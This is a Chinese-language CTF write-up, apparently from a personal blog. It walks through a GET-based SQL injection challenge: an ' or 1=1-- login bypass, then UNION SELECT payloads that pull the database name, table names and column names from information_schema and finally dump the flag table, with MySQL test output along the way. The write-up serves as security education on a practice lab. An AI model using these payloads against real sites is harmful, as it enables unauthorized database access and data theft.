這道題是一道get注入題

語(yǔ)句的使用
假如我們有一個(gè)users表,里面有兩個(gè)字段username和password。在我們的java代碼中我們初學(xué)者都習(xí)慣用sql拼接的方式進(jìn)行用戶(hù)驗(yàn)證。比如:"select id from users where username = '"+username +"' and password = '" + password +"'" 這里的username和password都是我們存取從web表單獲得的數(shù)據(jù)。下面我們來(lái)看一下一種簡(jiǎn)單的注入,如果我們?cè)诒韱沃衭sername的輸入框中輸入' or 1=1-- ,password的表單中隨便輸入一些東西,假如這里輸入123.此時(shí)我們所要執(zhí)行的sql語(yǔ)句就變成了select id from users where username = '' or 1=1-- and password = '123',我們來(lái)看一下這個(gè)sql,因?yàn)?=1是true,后面 and password = '123'被注釋掉了。
本段轉(zhuǎn)自sql注入原理。
查詢(xún)知道當(dāng)前數(shù)據(jù)庫(kù)是mysql,其中中有select database();語(yǔ)句,可以查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)。
Union是聯(lián)合查找。
通過(guò)我自己的mysql實(shí)驗(yàn)得出
mysql> select * from info union select 1,2,3,4,5,6,7,1,2,4,database()
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | database() |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | student |
+---+---+---+---+---+---+---+---+---+---+---+------------+
需要輸入正確的列數(shù)才能獲取結(jié)果。
由此構(gòu)造1 ' union select 1,2,3,database()#提交,得出庫(kù)名pentesterlab,這里#是注釋掉后面的語(yǔ)句。
接下來(lái)爆表名,select from where是一個(gè)語(yǔ)句,可以用來(lái)查詢(xún)表中某一列的值,結(jié)果可以是返回多行,用我自己的mysql試驗(yàn)之后發(fā)現(xiàn)是沒(méi)有問(wèn)題是。
在mysql中有一個(gè)information_schema,是mysql自帶的數(shù)據(jù)庫(kù),庫(kù)內(nèi)有一個(gè)TABLE表,表中存放了如下兩個(gè)關(guān)鍵的數(shù)據(jù)

第一個(gè)是數(shù)據(jù)庫(kù)的庫(kù)名,第二個(gè)是表名。但這個(gè)庫(kù)和我們所在的庫(kù)不是同一個(gè)庫(kù),關(guān)于mysql的跨庫(kù)查詢(xún)是可以直接用點(diǎn)路徑
select * from info union select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';再次拿自己的mysql進(jìn)行實(shí)驗(yàn),發(fā)現(xiàn)使用這句語(yǔ)句時(shí)可以訪問(wèn)到查詢(xún)的數(shù)據(jù)庫(kù)內(nèi)擁有的表。(庫(kù)內(nèi)搞了太多字段了寫(xiě)的蛋疼。。。)
mysql> select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | TABLE_NAME |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | info |
+---+---+---+---+---+---+---+---+---+---+---+------------+
所以構(gòu)造語(yǔ)句
1 ' union select 1,2,3,table_name from information_schema.tables where table_schema='pentesterlab'#

ctf比賽中的目的是獲取flag,而這里有一個(gè)flag表,所以接下來(lái)的行動(dòng)就是爆表了。。
同樣是information_schema庫(kù),庫(kù)內(nèi)有COLUMNS這個(gè)表:主要的結(jié)構(gòu)如下

以我的數(shù)據(jù)庫(kù)為例,hhhm是我的mysql中的其中一個(gè)庫(kù)名,blog_article_title是我的庫(kù)內(nèi)的一個(gè)表。查看navicat可以知道我的表內(nèi)有這些,與上面的相對(duì)應(yīng)。最后一個(gè)column_name就是我們要爆的表的字段名。

所以依舊構(gòu)造語(yǔ)句
mysql> select 1,2,3,4,5,6,7,1,2,3,4,column_name from information_schema.columns where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | COLUMN_NAME |
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)號(hào) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 姓名 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 性別 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 生日 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)籍 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)院 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 專(zhuān)業(yè) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 班級(jí) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 校區(qū) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 畢業(yè)高中 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 所在地 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 手機(jī)號(hào) |
+---+---+---+---+---+---+---+---+---+---+---+-------------
先試自己,發(fā)現(xiàn)確實(shí)如此!
1' union select 1,2,3,column_name from information_schema.columns where table_name='flag'#

該flag的表內(nèi)有id和flag兩個(gè)字段,有四行。最后就很容易了:
1' union select 1,2,3,flag from flag#
得出答案

關(guān)于information_schema的得知
參考自點(diǎn)擊查看。
歡迎訪問(wèn)我的博客www.redmango.top